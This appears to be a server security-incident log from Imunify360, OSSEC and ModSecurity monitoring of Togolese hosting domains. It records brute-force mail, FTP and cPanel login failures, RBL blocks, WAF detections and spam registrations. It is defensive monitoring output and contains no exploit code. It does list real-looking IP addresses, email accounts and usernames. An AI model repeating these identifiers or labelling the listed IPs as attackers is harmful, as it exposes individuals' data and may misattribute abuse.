# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:21:27:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10315115&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D1689&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694842 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=1689" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [05/Jun/2026:21:27:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6578280&pdata=http%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694852 HTTP/1.1" 302 0 dagl.tg "http://dagl.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.57
country_id: 1512440
description:
2026-06-05 21:28:14 H=([0.0.0.0]) [213.230.92.57]:32935 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:28:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:8576: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.94.125
country_id: 6252001
description:
47.88.94.125 - - [05/Jun/2026:21:28:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723480&pdata=http%253A%252F%252Fns5mail.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780694914 HTTP/1.1" 302 0 ns5mail.netmaster.tg "http://ns5mail.netmaster.tg/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.94.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:29:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:19584: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 21:29:00 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 21:29:02 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:58335: 535 Incorrect authentication data (set_id=prod1)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.57
country_id: 1512440
description:
2026-06-05 21:29:11 H=([0.0.0.0]) [213.230.92.57]:46332 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:30:24 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:11264: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:32:57 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:5632: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:34:25 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:5639: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:35:29 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:3200: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.75.177.4
country_id: 2542007
description:
2026-06-05 21:36:17 dovecot_plain authenticator failed for H=(5ay0trz2kesn8kuxsmu0qh) [196.75.177.4]:41105: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:37:04 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:7429: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.122.65
country_id: 798544
description:
Jun  5 21:37:10 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.122.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.89
country_id: 3469034
description:
Jun  5 21:37:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.163
country_id: 2287781
description:
2026-06-05 21:38:00 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.163]:7434: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  5 21:40:45 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-05 21:40:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:59870: 535 Incorrect authentication data (set_id=prod1)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:21-42.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316855
name: IM360 WAF: Authenticated Privilege Escalation in WP User Avatar plugin for WordPress
abuser: 156.38.81.11
country_id: 2363686
domain: relanceinfo.tg
description:
IM360 WAF: Authenticated Privilege Escalation in WP User Avatar plugin for WordPress||MVN:ARGS:action||WPU:Maurice||RSV:8.14||T:APACHE||MV:update||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Grab Your Valuable Reward sepoladi.blogspot.pt aZ||Email:Jvanderheydt@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 109.196.160.113
country_id: 2510769
domain: dagl.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.14||T:APACHE||RA:109.196.160.113||TA:109.196.160.113||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.191
country_id: 1269750
description:
Jun  5 21:43:28 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.164
country_id: 798544
description:
Jun  5 21:43:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.164 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.120.164
country_id: 798544
description:
Jun  5 21:43:53 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.120.164 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 21:44:05 ns5 pure-ftpd[2063486]: (?@103.245.236.231) [INFO] New connection from 103.245.236.231


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 103.245.236.231
country_id: 1562822
description:
Jun  5 21:44:10 ns5 pure-ftpd[2063486]: (?@103.245.236.231) [WARNING] Authentication failed for user [caissederetraites]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.62.175.144
country_id: 3625428
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 206.62.175.144
country_id: 3625428
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/alain/tg1.html HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.123.255
country_id: 99237
description:
[2026-06-05 21:44:46 +0000] info [whostmgrd] 212.237.123.255 - root "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.90
country_id: 3469034
description:
Jun  5 21:45:46 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 71.131.231.117
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.90
country_id: 3469034
description:
Jun  5 21:45:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.47.161.131
country_id: 719819
description:
Jun  5 21:46:04 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.47.161.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.115.155
country_id: 1269750
description:
Jun  5 21:46:50 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.115.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.50
country_id: 690791
description:
Jun  5 21:47:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.50 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.245.29
country_id: 1562822
domain: www.cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tg/ustogo/wwwhlmesppb.html HTTP/1.1||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.184.245.29
country_id: 1562822
domain: www.cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cafe.tghttp/www.cafe.tg/ustogo/wwwhlmesppb.html HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 172.190.204.87
country_id: 6252001
description:
Jun  5 21:49:03 ns5 pure-ftpd[2066958]: (?@172.190.204.87) [WARNING] Authentication failed for user [administrator]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 172.190.204.87
country_id: 6252001
description:
Jun  5 21:48:45 ns5 pure-ftpd[2066958]: (?@172.190.204.87) [INFO] New connection from 172.190.204.87


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.96.132.125
country_id: 2510769
description:
2026-06-05 21:51:27 dovecot_login authenticator failed for H=(inger.tg) [195.96.132.125]:36276: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.217.144.79
country_id: 6252001
domain: www.djamabeer.snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.150.140.217
country_id: 6252001
description:
[2026-06-05 21:53:16 +0000] info [cpaneld] 23.150.140.217 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.83.57.141
country_id: 6252001
description:
[2026-06-05 21:56:10 +0000] info [cpaneld] 23.83.57.141 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 198.163.195.55
country_id: 1512440
description:
2026-06-05 21:58:09 H=([198.163.195.55]) [198.163.195.55]:38965 F=<John@4452.com> rejected RCPT <egnassingbe@golfe3.mairie.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.48
country_id: 690791
description:
Jun  5 21:58:24 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.10.194.143
country_id: 3469034
description:
Jun  5 21:58:43 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.10.194.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.10.194.143
country_id: 3469034
description:
Jun  5 21:58:51 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.10.194.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.135.199.28
country_id: 2510769
description:
Jun  5 21:59:12 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.135.199.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 140.213.118.59
country_id: 1643084
description:
2026-06-05 21:59:51 H=([140.213.118.59]) [140.213.118.59]:4449 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.245.52.232
country_id: 2963597
description:
2026-06-05 22:02:05 dovecot_plain authenticator failed for H=(mail.inger.tg) [172.245.52.232]:53238: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.98
country_id: 3175395
description:
2026-06-05 22:01:47 dovecot_plain authenticator failed for H=(mail.inger.tg) [31.76.113.98]:57418: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.243
country_id: 1643084
description:
[2026-06-05 22:01:49 +0000] info [cpaneld] 185.213.83.243 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.193.87.63
country_id: 2017370
description:
2026-06-05 22:03:40 dovecot_plain authenticator failed for H=(mail.inger.tg) [85.193.87.63]:43394: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.233.199.8
country_id: 2017370
description:
2026-06-05 22:03:09 dovecot_plain authenticator failed for H=(mail.inger.tg) [193.233.199.8]:44590: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.131.89
country_id: 3469034
description:
Jun  5 22:03:30 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.131.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.191
country_id: 3469034
description:
Jun  5 22:03:09 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.191 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.233.41.17
country_id: 719819
description:
2026-06-05 22:03:23 dovecot_plain authenticator failed for H=(mail.inger.tg) [152.233.41.17]:51154: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.31.217.99
country_id: 2921044
description:
2026-06-05 22:04:11 dovecot_plain authenticator failed for H=(mail.inger.tg) [144.31.217.99]:50880: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.26.11.198
country_id: 6252001
description:
2026-06-05 22:04:31 dovecot_plain authenticator failed for H=(mail.inger.tg) [2.26.11.198]:38718: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.25.216.201
country_id: 2661886
description:
2026-06-05 22:04:45 dovecot_plain authenticator failed for H=(mail.inger.tg) [193.25.216.201]:33220: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.193.87.63
country_id: 2017370
description:
2026-06-05 22:03:47 dovecot_login authenticator failed for H=(mail.inger.tg) [85.193.87.63]:43394: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.25.216.201
country_id: 2661886
description:
2026-06-05 22:04:52 dovecot_login authenticator failed for H=(mail.inger.tg) [193.25.216.201]:33220: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.88.180.226
country_id: 6252001
description:
2026-06-05 22:05:00 dovecot_plain authenticator failed for H=(mail.inger.tg) [166.88.180.226]:57136: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.154.110
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-05.162.212.154.110||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.12.75.242
country_id: 2017370
description:
2026-06-05 22:05:18 dovecot_plain authenticator failed for H=(mail.inger.tg) [45.12.75.242]:54344: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.28
country_id: 3175395
description:
2026-06-05 22:05:45 dovecot_plain authenticator failed for H=vm813.akenai.wtf (mail.inger.tg) [31.76.113.28]:41972: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enter to Get Your Opulent Bonus sepoladi.blogspot.ro 3l||Email:constancebradford2@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:22-06.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.113.28
country_id: 3175395
description:
2026-06-05 22:05:52 dovecot_login authenticator failed for H=vm813.akenai.wtf (mail.inger.tg) [31.76.113.28]:41972: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.5
country_id: 2921044
description:
2026-06-05 22:06:44 dovecot_plain authenticator failed for H=(mail.inger.tg) [104.28.159.5]:40840: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [05/Jun/2026:22:06:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9936537&pdata=http%253A%252F%252Ftontonedouard-togo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780697205 HTTP/1.1" 302 0 tontonedouard-togo.com "http://tontonedouard-togo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.208.170.142
country_id: 102358
description:
2026-06-05 22:06:17 dovecot_plain authenticator failed for H=(mail.inger.tg) [81.208.170.142]:36082: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 140.213.118.59
country_id: 1643084
description:
2026-06-05 22:07:07 H=([140.213.118.59]) [140.213.118.59]:4459 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 92.157.67.242
country_id: 3017382
description:
92.157.67.242 - - [05/Jun/2026:22:07:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803163&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F11%252F29%252Fla-20e-foire-internationale-de-lome-40-ans-dhistoire-au-service-du-developpement-economique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780697226 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/11/29/la-20e-foire-internationale-de-lome-40-ans-dhistoire-au-service-du-developpement-economique/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.1106.1210 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:92.157.67.242


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 134.33.73.249
country_id: 6252001
description:
2026-06-05 22:07:23 dovecot_plain authenticator failed for H=(mail.inger.tg) [134.33.73.249]:34628: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.159.5
country_id: 2921044
description:
2026-06-05 22:06:51 dovecot_login authenticator failed for H=(mail.inger.tg) [104.28.159.5]:40840: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:22:06:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855061&pdata=http%253A%252F%252Ftontonedouard-togo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780697212 HTTP/1.1" 302 0 tontonedouard-togo.com "http://tontonedouard-togo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.76.91.21
country_id: 1861060
description:
2026-06-05 22:07:01 dovecot_plain authenticator failed for H=(mail.inger.tg) [31.76.91.21]:41444: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.207.142.122
country_id: 1819730
description:
2026-06-05 22:07:55 dovecot_plain authenticator failed for H=(mail.inger.tg) [38.207.142.122]:37657: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [05/Jun/2026:22:08:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260014&pdata=http%253A%252F%252Ftontonedouard-togo.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780697285 HTTP/1.1" 302 0 tontonedouard-togo.com "http://tontonedouard-togo.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 54.252.231.115
country_id: 2077456
description:
2026-06-05 22:08:15 dovecot_plain authenticator failed for H=ec2-54-252-231-115.ap-southeast-2.compute.amazonaws.com (mail.inger.tg) [54.252.231.115]:63976: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 52.60.99.199
country_id: 6251999
description:
2026-06-05 22:08:30 dovecot_plain authenticator failed for H=ec2-52-60-99-199.ca-central-1.compute.amazonaws.com (mail.inger.tg) [52.60.99.199]:42118: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.146
country_id: 2300660
description:
Jun  5 22:08:34 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.243.86.118
country_id: 2921044
description:
2026-06-05 22:08:42 dovecot_plain authenticator failed for H=(mail.inger.tg) [83.243.86.118]:62494: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.247.126.137
country_id: 6252001
description:
2026-06-05 22:09:00 dovecot_plain authenticator failed for H=(mail.inger.tg) [77.247.126.137]:44208: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.7.80.15
country_id: 1562822
description:
Jun  5 22:09:02 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.7.80.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.112.126.206
country_id: 1861060
description:
2026-06-05 22:09:34 dovecot_plain authenticator failed for H=ec2-3-112-126-206.ap-northeast-1.compute.amazonaws.com (mail.inger.tg) [3.112.126.206]:43184: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.146
country_id: 2300660
description:
Jun  5 22:08:47 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.146 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.243.86.118
country_id: 2921044
description:
2026-06-05 22:08:49 dovecot_login authenticator failed for H=(mail.inger.tg) [83.243.86.118]:62494: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.72.14.131
country_id: 3469034
description:
Jun  5 22:08:54 ns5 auth[1946196]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.72.14.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.7.80.15
country_id: 1562822
description:
2026-06-05 22:09:04 dovecot_plain authenticator failed for H=(fk670szo0tr4peob5mhmh31di) [117.7.80.15]:49179: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.19.198.243
country_id: 6252001
description:
2026-06-05 22:09:15 dovecot_plain authenticator failed for H=(mail.inger.tg) [37.19.198.243]:46950: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


